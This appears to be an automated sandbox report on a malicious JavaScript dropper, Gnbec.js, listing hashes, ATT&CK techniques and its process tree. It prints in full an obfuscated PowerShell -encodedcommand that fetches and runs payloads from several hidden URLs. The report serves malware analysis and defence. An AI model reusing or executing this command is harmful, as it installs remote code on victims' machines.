01a8735ace5e349ab46b286cae6658931fca9521f3cc640fe6f03951392a36bb

General

Target

Gnbec.js
Size

284KB
MD5

09898f199ab752767454a9073e15282f
SHA1

4d2bdf3e47a39fa418deafe0cbcd1f2f12093347
SHA256

01a8735ace5e349ab46b286cae6658931fca9521f3cc640fe6f03951392a36bb
SHA512

7ea486fba3e95a9b660f722362db42856d35d928d4a2dc930e8dd500f113e8d7a59c8d1315abe1a5a46ca8f40a11b043904a274971fb02c3496f226133e861ad
SSDEEP

3072:8Ra6vwAPaAtU0eUjidy0dI4eiVnXT95gQtNEs6:8Ra6VbU0xjidy0dIPiVnDh0s6

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
17	3396	powershell.exe
22	3396	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3396	powershell.exe
3396	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3396	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1988 wrote to memory of 1376	1988	wscript.exe	85
PID 1988 wrote to memory of 1376	1988	wscript.exe	85
PID 1376 wrote to memory of 3396	1376	wscript.exe	86
PID 1376 wrote to memory of 3396	1376	wscript.exe	86

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Gnbec.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1988
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Gnbec.js" AtaxiaphasiaMangbattu egaliteAcrobryous butteringKoreish
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1376
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand "JABNAGkAbABrAHcAbwByAHQAcwBCAG8AcwB3AGUAbABsAGkAYQAgAD0AIAAzADcANgA7ACQAbgBvAG4AdgBlAHIAdABpAGMAYQBsAGwAeQBVAG4AbQBhAHIAawBpAG4AZwAgAD0AIAA5ADUAMAA7ACQAdQBuAGEAZgBmAGEAYgBsAGUAIAA9ACAAIgBjAGEAdAB0AGwAZQB5AGEAcwBNAGUAbQBiAHIAYQBjAGkAZABhAGUAIgA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEANQA7ACQAUgBlAGIAZQBsAGwAaQBvAG4AIAA9ACAAIgBSAGUAYwBvAG0AbQBlAG4AZABlAGQAIgA7ACQAUgBlAGUAZABpAHQAZQBkACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA1AEEARABFAEEATABnAEEAeABBAEQAawBBAE0AdwBBAHUAQQBEAFEAQQBNAHcAQQB1AEEARABFAEEATQBRAEEANQBBAEMAOABBAGQAQQBCAE8AQQBHAFkAQQBMAHcAQgBQAEEARQAwAEEATgB3AEIASQBBAEcANABBAGMAZwBCAHUAQQBFAGMAQQBlAFEAQgBwAEEARQA0AEEAegBoAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMwBBAEQAYwBBAEwAZwBBADUAQQBEAEUAQQBMAGcAQQA0AEEARABZAEEATABnAEEAeABBAEQASQBBAE0AZwBBAHYAQQBGAFkAQQBiAEEAQgB3AEEARgBRAEEATAB3AEIAWABBAEYAVQBBAGMAdwBCAHkAQQBHAHcAQQBOAFEAQgB0AEEASABRAEEAYQB3AEEAPQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABiAGEAcwBvAG0AbQBhAHQAbwBwAGgAbwByAG8AdQBzACAAaQBuACAAJABSAGUAZQBkAGkAdABlAGQAIAAtAHMAcABsAGkAdAAgACIAegBoACIAKQAgAHsAJABQAHIAZQBnAGUAbgBlAHIAbwB1AHMASAB5AGQAcgBvAHgAeQBsAGEAdABpAG8AbgAgAD0AIAAzADgAMwA7ACQAYwB5AG4AaQBhAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAGkAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAYQBBAEIAdgBBAEcAdwBBAFoAUQBBAHUAQQBHAGMAQQBjAGcAQgBoAEEASABRAEEAYQBRAEIAegBBAEEAPQA9AGUAegBXAE8AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBnAEEAYgB3AEIAdABBAEcAOABBAFoAUQBCAHYAQQBIAG8AQQBiAHcAQgBwAEEARwBNAEEATABnAEIAaQBBAEcAVQBBAFoAUQBCAHkAQQBBAD0APQAiADsAJABFAHUAcgBvAHAAaQB1AG0ASQBuAHQAZQByAGkAbgB2AG8AbAB2AGUAZAAgAD0AIAAiAEQAZQByAGUAbgBjAGUAcABoAGEAbABvAGMAZQBsAGUAUABoAG8AcwBwAGgAbwByAGkAdABpAGMAIgA7AHQAcgB5ACAAewAkAGYAaQBsAGEAbQBlAG4AdABMAGkAcQB1AG8AcgBpAHMAaABuAGUAcwBzACAAPQAgADIAMQA4ADsAJAByAGEAbABsAGkAZQBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBtAEEARwBrAEEAWgB3AEIAMQBBAEgASQBBAFoAUQBCAHoAQQBDADQAQQBaAGcAQgB2AEEARwA4AEEAZABBAEIAaQBBAEcARQBBAGIAQQBCAHMAQQBBAD0APQBPAE0AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB6AEEASABVAEEAYgBRAEIAdwBBAEgAUQBBAGQAUQBCAHYAQQBIAFUAQQBjAHcAQQB1AEEARwBjAEEAYwB3AEEAPQBPAE0AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQAwAEEAZQBRAEIAeQBBAEcAawBBAGIAZwBCAG4AQQBHAEUAQQBRAFEAQgB1AEEARwBFAEEAYgBnAEIANQBBAEcAMABBAEwAZwBCADIAQQBHAGsAQQBiAGcAQQA9ACIAOwAkAE4AbwBuAGcAaQBsAGwAZQBkAEwAYQBuAHUAZwBpAG4AbwB1AHMAbgBlAHMAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAQQBBAGMAZwBCAHYAQQBHAE0AQQBkAFEAQgB5AEEARwBFAEEAWQBnAEIAcABBAEcAdwBBAGEAUQBCADAAQQBIAGsAQQBMAGcAQgAwAEEARwBFAEEAZQBBAEEAPQBlAGgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB3AEEARwBVAEEAWQBRAEIAeQBBAEcAdwBBAFoAZwBCAHkAQQBIAFUAQQBhAFEAQgAwAEEARQBjAEEAWQBRAEIAcwBBAEcARQBBAFkAdwBCADAAQQBHADgAQQBjAEEAQgBvAEEARwA4AEEAYwBnAEIAbABBAEMANABBAFoAUQBCADEAQQBBAD0APQBlAGgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABBAEEATgB3AEEAdQBBAEQARQBBAE0AUQBBADMAQQBDADQAQQBNAFEAQQB3AEEARABBAEEATABnAEEAeABBAEQASQBBAE4AUQBBAD0AIgA7ACQATgBvAG4AaQBuAGYAcgBhAGMAdABpAG8AbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBvAG0AbQBhAHQAbwBwAGgAbwByAG8AdQBzACkAKQA7AGkAdwByACAAJABOAG8AbgBpAG4AZgByAGEAYwB0AGkAbwBuACAALQBPACAAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwARQB4AGMAcgBlAG0AZQBuAHQAaQB0AGkAbwB1AHMAbgBlAHMAcwBEAGUAaQBvAG4AaQB6AGUAcgAuAHUAcABiAHIAbwBrAGUAbgA7ACQASAB5AHAAZQByAGEAbABnAGUAcwBpAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADEAQQBHADQAQQBaAEEAQgBsAEEASABJAEEAWQB3AEIAdgBBAEcANABBAGMAdwBCADEAQQBHADAAQQBaAFEAQgBYAEEARwBFAEEAZQBRAEIAMwBBAEcAOABBAGMAZwBCAHUAQQBDADQAQQBiAEEAQgBwAEEARwBZAEEAWgBRAEEAPQB1AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQAQQBBAE8AUQBBAHUAQQBEAEUAQQBOAGcAQQA1AEEAQwA0AEEATQBRAEEAeABBAEQAUQBBAEwAZwBBAHgAQQBEAGsAQQBNAHcAQQA9ACIAOwAkAG0AbwBvAGwAaQBuAGcAcwBOAG8AcgB0AGgAbABhAG4AZABlAHIAIAA9ACAAIgBBAHIAYwBoAGYAbABhAHQAdABlAHIAZQByAFMAawBlAGEAbgBzACIAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAALQBQAGEAdABoACAAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwARQB4AGMAcgBlAG0AZQBuAHQAaQB0AGkAbwB1AHMAbgBlAHMAcwBEAGUAaQBvAG4AaQB6AGUAcgAuAHUAcABiAHIAbwBrAGUAbgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAA2ADIANwA2ACkAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEAUQB3AEEANgBBAEYAdwBBAFUAQQBCAHkAQQBHADgAQQBaAHcAQgB5AEEARwBFAEEAYgBRAEIARQBBAEcARQBBAGQAQQBCAGgAQQBGAHcAQQBSAFEAQgA0AEEARwBNAEEAYwBnAEIAbABBAEcAMABBAFoAUQBCAHUAQQBIAFEAQQBhAFEAQgAwAEEARwBrAEEAYgB3AEIAMQBBAEgATQBBAGIAZwBCAGwAQQBIAE0AQQBjAHcAQgBFAEEARwBVAEEAYQBRAEIAdgBBAEcANABBAGEAUQBCADYAQQBHAFUAQQBjAGcAQQB1AEEASABVAEEAYwBBAEIAaQBBAEgASQBBAGIAdwBCAHIAQQBHAFUAQQBiAGcAQQBzAEEASABBAEEAYwBnAEIAcABBAEcANABBAGQAQQBBADcAQQBGAFkAQQBkAFEAQgBsAEEARQBvAEEAVQB3AEEAPQAiADsAJABzAHUAcABlAHIAYQBjAGMAZQBzAHMAaQBvAG4AUwBsAG8AdgBlAG4AZQAgAD0AIAAxADEANgA7ACQAVwBvAHUAbABkAGUAcwB0AEcAdQBlAHMAcwBlAHMAIAA9ACAAMwAzADMAOwAkAEIAcgB5AGEAbgBpAHQAZQBCAHIAYQB5AGUAZAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE4AQQBBAHgAQQBDADQAQQBNAGcAQQB5AEEARABVAEEATABnAEEAeQBBAEQASQBBAE4AdwBBAHUAQQBEAEUAQQBOAHcAQQAzAEEAQQA9AD0AYwBRAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAVQBBAGIAZwBCAHMAQQBHAFUAQQBkAEEAQgAwAEEARwBVAEEAWgBBAEEAdQBBAEcAYwBBAGQAUQBCAHkAQQBIAFUAQQBjAFEAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBWAEEASABRAEEAYgB3AEIAdwBBAEcAawBBAFkAUQBCAHUAQQBDADQAQQBiAFEAQgB2AEEARwAwAEEAYwBRAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE4AUQBBAHkAQQBDADQAQQBPAFEAQQAwAEEAQwA0AEEATQBnAEEAeABBAEQARQBBAEwAZwBBAHgAQQBEAEUAQQBNAFEAQQA9ACIAOwBiAHIAZQBhAGsAOwBWAHUAZQBKAFMAOwB9AFYAdQBlAEoAUwA7AH0AIABjAGEAdABjAGgAIAB7ACQAQgByAGEAegBlAGUAIAA9ACAAIgBPAG8AawBpAG4AZQBzAGkAcwBEAG8AdgBlAGMAbwB0AGUAIgA7ACQAaAB5AHAAZQByAGIAYQB0AGEAIAA9ACAAMQA0ADEAOwAkAGUAbgBzAGEAbgBnAHUAaQBuAGUAZAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUAZwBBAGIAdwBCAHUAQQBHAFUAQQBlAFEAQgBvAEEARwBVAEEAWQBRAEIAeQBBAEgAUQBBAFoAUQBCAGsAQQBDADQAQQBhAEEAQgBsAEEARwBFAEEAYgBBAEIAMABBAEcAZwBBAFkAdwBCAGgAQQBIAEkAQQBaAFEAQQA9AE0AcgBQAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AUQBBADUAQQBDADQAQQBOAHcAQQAzAEEAQwA0AEEATgBRAEEAdwBBAEMANABBAE8AUQBBADAAQQBBAD0APQBNAHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAEUAQQBOAGcAQQB1AEEARABFAEEATwBRAEEANQBBAEMANABBAE0AUQBBADIAQQBEAGcAQQBMAGcAQQA1AEEARABNAEEAIgA7AH0AfQAkAFEAdQBhAG4AdABpAGMAYQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBDAEEARwB3AEEAWgBRAEIAaABBAEcAcwBBAGIAQQBCADUAQQBFAFEAQQBaAFEAQgB1AEEARwA4AEEAZABBAEIAaABBAEgAUQBBAGEAUQBCADIAQQBHAFUAQQBMAGcAQgBrAEEARwBVAEEAYQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADIAQQBEAEkAQQBMAGcAQQB5AEEARABNAEEATgB3AEEAdQBBAEQASQBBAE4AQQBBADQAQQBDADQAQQBNAFEAQQAzAEEARABrAEEAIgA7ACQAZwBhAGwAYQBnAGkAbgBhAGUAUwBlAHIAcgBhAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATgBRAEEAegBBAEMANABBAE0AUQBBAHoAQQBEAFUAQQBMAGcAQQB4AEEARABNAEEATgBBAEEAPQAiADsA"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3396

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0uysl4r1.oga.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3396-138-0x000002C2F78F0000-0x000002C2F7912000-memory.dmp

Filesize
136KB

Download
memory/3396-144-0x000002C2F5B00000-0x000002C2F5B10000-memory.dmp

Filesize
64KB

Download
memory/3396-143-0x000002C2F5B00000-0x000002C2F5B10000-memory.dmp

Filesize
64KB

Download
memory/3396-145-0x000002C2F5B00000-0x000002C2F5B10000-memory.dmp

Filesize
64KB

Download
memory/3396-146-0x000002C2F5B00000-0x000002C2F5B10000-memory.dmp

Filesize
64KB

Download
memory/3396-147-0x000002C2F5B00000-0x000002C2F5B10000-memory.dmp

Filesize
64KB

Download
memory/3396-148-0x000002C2F5B00000-0x000002C2F5B10000-memory.dmp

Filesize
64KB

Download

Analysis

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